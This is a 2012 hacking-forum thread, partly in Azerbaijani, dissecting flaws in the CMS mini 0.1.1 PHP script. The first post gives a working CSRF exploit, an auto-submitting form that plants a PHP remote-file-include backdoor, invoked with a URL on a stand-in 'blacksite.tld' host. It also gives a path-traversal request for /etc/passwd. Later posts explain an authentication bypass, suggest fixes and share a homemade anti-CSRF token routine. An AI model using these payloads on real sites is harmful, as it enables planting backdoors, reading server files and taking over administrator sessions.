Istifadəçi |
2012-03-26 22:21 GMT |
|
|
|
Pr0grammer |
|
Mesaj Sayı : 1677 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 62 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : KARABAKH IS AZERBAIJAN! |
Ölkə : |
Məslək : |
Yaş : |
Mesaj : |
|
Nice catch)
Kod: //check.php
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');
?>
Seems programmer believes simply header() will interrupt script execution)
Here is simple fix:
Kod: if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php'));
Who knows may be programmer will fix it in future)
This will work also after fix because it is also vulnerable to CROSS SITE REQUEST forgery)
When it'll Pwn?
If currently logged admin visits malicious page(<img tag enough)
CREATE BACKDOOR VIA CSRF [CMS mini 0.1.1]
Kod: <body onload="javascript:document.forms[0].submit()">
<form action="http://target.comsite/learn/4/cmsmini-0.1/cmsmini-0.1/admin/save.php?what=page&path=../template/images/&p=thumbsdb.php" method="post">
<textarea type="hidden" name="content" id="content" cols="80" rows="25">
<?php
if(isset($_GET['backdoor']))
{
include $_GET['backdoor'];
}
?>
</textarea>
</form>
<!--
Looking for backdoor?) => http://target.comsite/cmsmini-0.1/cmsmini-0.1/template/images/thumbsdb.php?backdoor=http://blacksite.tld/black.class.txt?
-->
Next another:
Spot the vuln:
Kod: // /view/index.php
if( !is_dir('../pages') ) header("location: ../admin/login.php");
$path = $_GET['path'];
$p = $_GET['p'];
$pext = strrchr($p, '.');
if( $path )
$dirpath = '../pages/'.$path;
else
$dirpath = '../pages';
Exploit:
http://target.comsite/cmsmini-0.1/cmsmini-0.1/view/?path=../../../../../../../../../../etc/passwd%00&p=someshitmaygohere
No sanitization,no validation!Completely shitware)))
|
Anti-armenia.ORG |
|
Istifadəçi |
2012-03-27 22:17 GMT |
|
|
|
VIP |
|
Mesaj Sayı : 1299 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 23 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : Gävle |
Ölkə : |
Məslək : Hacker,Defacer,Programmer |
Yaş : 26 |
Mesaj : |
|
|
Anti-armenia.ORG |
|
Istifadəçi |
2012-03-27 22:21 GMT |
|
|
|
Pr0grammer |
|
Mesaj Sayı : 1677 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 62 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : KARABAKH IS AZERBAIJAN! |
Ölkə : |
Məslək : |
Yaş : |
Mesaj : |
|
Azdan çoxdan orda nəyisə səhv başa düşmüsən çünki yuxarıda verdiyim 2-ci CSRF exploitdir fix deyil.
1-ci verdiyim isə die(header()) autentifikasiyanı fixləmək üçündür.
Sözümün canı o inline fixdə göstərməkdir ki, header() funksiyası HTTP mode verir orda əslində isə skript işini davam etdirir.
(Şəxsən özüm də elə bir səhv etmişəm bu yaxınlarda )
Məhz elə yuxarıda yazdığım 2-ci kod isə (CSRF exploit)-in fixinə qaldıqda sadəcə hidden input və random junk bəs eləmir.
Mənası itir ANtiCSRF protectionun çünki sən özün də yuxarıda qeyd etmisən Validasiya getmir.
Şəxsən netdə Guya ANTİCSRF librarydir amma əslində heçnədir hidden input əlavə etməkdən başqa (çünki validasiya etmir)
kimi librarylərə rast gəlmişəm biri elə CSRF magic adlı.At getsin validasiya eləmir fakt CSRF attack edirəm güllə kimi keçir həmin skriptə qarşı.
Nəzərə alaraq bunu POST zaproslar üçün öz yazdığım (ip2sayt kiddie skriptim üçün )
AntiCSRF funksiyamiz
Kod: ../inc/csrfcheck.php
<?php
session_start();
/**
Bu sade funksiyamin komekliyi ile CSRF - CROSS SITE REQUEST FORGERY ve yaxud diger adi XSRF tipli vulnerabilitylerin heyata kecmesine
mane olmus oluruq.
Indiki web app-larin 99%-i CSRF -e vulnerabledir.
CSRF -tipli vuln cox tehlukeli Vuln tipidir.Wiki-ye ve OWASP || packetstormsecurity.com-a bax etrafli info ucun.
Cagirilma metodu:
Her bir POST zapros istifade eden formda hidden input yaradirsan
<input type="hidden" name="anticsrftokenize" id="anticsrftokenize" value="<?php echo htmlentities($_SESSION['csrftokenize']);?>" />
ve POST zapros invoke edildikde funksiyaya by reference oturulme edirsen asagidaki kimi.
Ve her bir skriptin baslangicinda
prepareanticsrf(); funksiyasini cagirirsan.
Tipli generasiya edirsen.
POST zapros qebul edildikde yoxlayirsan:
csrfcheck($_POST['anticsrftokenize'],$_SESSION['csrftokenize']);
Tokenler uygun olmadiqda xeberdarliq verirem en esasi ise skriptin isini dayandiriram.
/AkaStep
**/
function csrfcheck(&$val1,&$val2)
{
if(!isset($_POST['anticsrftokenize']) || !isset($_SESSION['csrftokenize']) ||!isset($_SESSION['oldbasecsrf']) || md5($_POST['anticsrftokenize'])!==md5($_SESSION['oldbasecsrf']))
{
die('<script>alert("\u0050\u006F\u0074\u0065\u006E\u0073\u0069\u0061\u006C\u0020\u0043\u0053\u0052\u0046\u0020\u0041\u0074\u0074\u0061\u0063\u006B\u0021");window.top.location.href = "index.php?attack=CSRF#";</script>' . refreshsess());
}
}
function refreshsess()
{
echo '<META HTTP-EQUIV="Refresh" CONTENT="1;URL=?">';
}
function prepareanticsrf()
{
/* ************************** BEOF ANTI CSRF YOXLANMA UCUN. EL VURMA HECNEYE *******************************************/
if($_SERVER['REQUEST_METHOD']==='GET') // her bir GET requestde yaradiriq.
{
$_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time())));
// # debug echo '<font color="red">' . $_SESSION['csrftokenize'] . '</font>'; kk #
// # debug echo "<script>alert(\"{$_SESSION['csrftokenize']}\");</script>"; #
/* sessiyani yaradiriq. Mehz bunun sayesinde server side yoxlanama edirik CSRF attackdir ya yox?*/
}
//# Eger sehifeye POST or HEAD OR TRACE zapros gonderirse bizi firlatmaq ucun amma yemeyib gedir bu defe de. #
if($_SERVER['REQUEST_METHOD']!=='GET' && !isset($_SESSION['csrftokenize'])) die(refreshsess());
// Burda header() de vermek olardi amma o halda HEAD requestde infinitive loopa duse bilerdik.
if($_SERVER['REQUEST_METHOD']==='POST' && isset($_SESSION['csrftokenize']))
//Mehz burada biz POST req-ler ucun CSRF token yaradiriq.CSRF tokenleri daha sensitive edirik.
{
$_SESSION['oldbasecsrf']=$_SESSION['csrftokenize'];
$_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time())));
}
if(count($_SESSION) !==0) $_SESSION=array_map('htmlentities',$_SESSION); // Her ehtimal ucun sanitizasiya edek.
/* ************************** EOF ANTI CSRF YOXLANMA UCUN EL VURMA HECNEYE *******************************************/
}
?>
Və sadə form- qorunması misalındaTətbiq qaydası da deyə bilərik)
Kod: <?php
error_reporting('OFF');
session_start();
include '../inc/csrfcheck.php';
prepareanticsrf();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>TESTCSRF</title>
</head>
<body>
<form id="form1" name="form1" method="post" autocomplete="off" action="">
<label>Login:<input type="text" name="login" id="login" />
</label>
<input type="hidden" name="anticsrftokenize" id="anticsrftokenize" value="<?php echo htmlentities($_SESSION['csrftokenize']);?>" />
<p>
<label>Parol:<input type="password" name="pass" id="pass" />
</label>
</p>
<p>
<label>
<input type="submit" name="Nalla" id="Nalla" value="Nalla Getsin" />
</label>
</p>
</form>
</body>
</html>
<?php if(isset($_POST['Nalla']) && isset($_POST['login']) && !empty($_POST['login']) && isset($_POST['pass']) && !empty($_POST['pass']))
{
csrfcheck($_POST['anticsrftokenize'],$_SESSION['csrftokenize']);
$login=htmlentities($_POST['login']);
$pass=htmlentities($_POST['pass']);
echo '
<table border="1">
<tr><td>Login</td><td>' . $login . '</td></tr>' .
'<tr><td>Parol</td><td>' . $pass . '</td></tr>
</table>' .
'<br>Her sey Normaldir</br>';
}?>
İnclude elə şellən POST based CSRF attackdan.
O ki,qaldı:
Kod: echo '<form action="" method="post"/>
Yeni Sifreniz: <input type="text" name="pass"/></br>
<input type="hidden" name="token" value="'.substr(md5(sha1(mt_rand(20000,30000))),0,5).'"/></br>
<input type="submit" name=deyer value="Gonder"/></br>
';
Və
Kod: if(isset($_POST['token']))
{
echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.$_POST['pass'];
}
else
{
die('Hacking Attemp!');
}
Validasiya yoxdur.
Attacker girdirmə bir hidden input düzəldə bilər adı da token
İn eg:
<input type="hidden" name="token" value="'bla bla bla s5ads1d'"/></br>
Post zaprosda $_POST['token'] isset($_POST) true qaytarır gəlki validasiya eləmir.
if(isset($_POST['token']))
{
}
fakt CSRF attack girdi skriptə.PWned.
BTW,
echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.$_POST['pass'];
Bad Coding Styledır) Fİx:
echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.htmlentities($_POST['pass']);
Respect)
Edit:
yaddan çıxdı deyim bunu GET zaproslar üçün də tətbiq etmək olar (o kiddie ip2sayt skiptimdə artıq eləmişəm)
Eyni məntiqdir.
|
Anti-armenia.ORG |
|
Istifadəçi |
2012-03-28 12:14 GMT |
|
|
|
Pr0grammer |
|
Mesaj Sayı : 1677 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 62 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : KARABAKH IS AZERBAIJAN! |
Ölkə : |
Məslək : |
Yaş : |
Mesaj : |
|
Sitat Onuda Deyimki Step sən birincidə die(header) burda sen xsrf`in fix yolunu göstərmisən
Yoxe yenə qarışdırırsan.
Kod: // a bit Fixed Version
//check.php
if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php'));
?>
Yaxud
Kod: // A bit FİXED version
//check.php
if ($_SESSION['cmsmini_login'] != 1)
{
header('location: login.php');
exit;
}
?> ]
Burda CSRF-dən danışmalı bir şey yoxdur.Sırf Authentification Bypass və Remote File upload ilə nəticələnib (DrKrooz-un halında) Gedir bu tipli vulnlar.(Dr Krooz-un verdiyi)
CSRF deyil.
Dr Krooz indi bunu File upload yazıb o nəticəni yazıb)
====== Əsas ========
Səbəb: Authentification Bypass due INproper/insufficent validation.
Nəticədə: Remote File upload
Inanmayan adam securityfocus-a zada göndərsin özü şahid olacaq ki, Advisorydə yazdığım səbəb olacaq və Nəticəsi Remote file upload yazılacaq.
Əsas səbəbdir yəni.Vulnerailityni klassifikasiya o edir.
Necə ki, SQL injectionda login formlarda admin'or''=';
bypass gedir bu da *təqribən* ona ANALOJİ bir şeydir.
Loru dildə başa düşməli olsaq belə bir şeydir:
Kod: Səhv Məntiq:Yolu düz getmirsənsə *Davam Elə Getməyə* (Fikir verdün?)(Vulnerabilitydir)
Buna müvafiqdir (dırkanı da bu yaradıb)
//check.php
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');
Biri də var fixlənmiş versiyası:
Düz Məntiq:Yolu düz getmirsənsə Dayan! (die()))
//Fixed check.php FROM Authentification Bypass
if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php')); .php'));
[/code]
Bu dırkalı skriptdə proqrammist elə bilibki header('location: login.php'); verməklə redirect verir və skriptin işi dayanır.
Fakt amma skript işini davam etdirir nə olsunki redirect verir?Fakt skript hələ də icra edilir.
2x2 kimi sadə.
Yuxarıda yazdığım 2-ci isə CSRF exploitdir.Onu heç DrKrooz vermiyib fakt mən skriptə baxmaqla CSRF-i üzə
çıxartdımki bu skript eyni zamanda CSRF-ə vulnerabledir.Və exploit yazdım.
Və dedimki birinci fixdən sonra(Authentification Bypassın fixindən sonra) belə bu exploit (CSRF exploit)
işləyəcək çünki eyni zamanda skript CSRF-ə də vulnerabledir və admin əgər adminkaya girib hər hansı bir linkə klikləsə yaxud
<img taglı exploitli səhifədən "şəkil" load olsa) backdoor yaranacaq skriptində.
CSRF-in fixinə aid orda (yəni ən birinci postumda heçnə verməmişəm yalnız və yalnız authentificationun fixinə aiddir)
Belədə skript başdan ayağa rewrite edilməlidir nə də olmasa 2004-də yazılıb mən bilən)
|
Anti-armenia.ORG |
|
Istifadəçi |
2012-03-28 12:23 GMT |
|
|
|
Gold |
|
Mesaj Sayı : 175 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 5 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : |
Ölkə : |
Məslək : |
Yaş : |
Mesaj : |
|
|
Anti-armenia.ORG |
|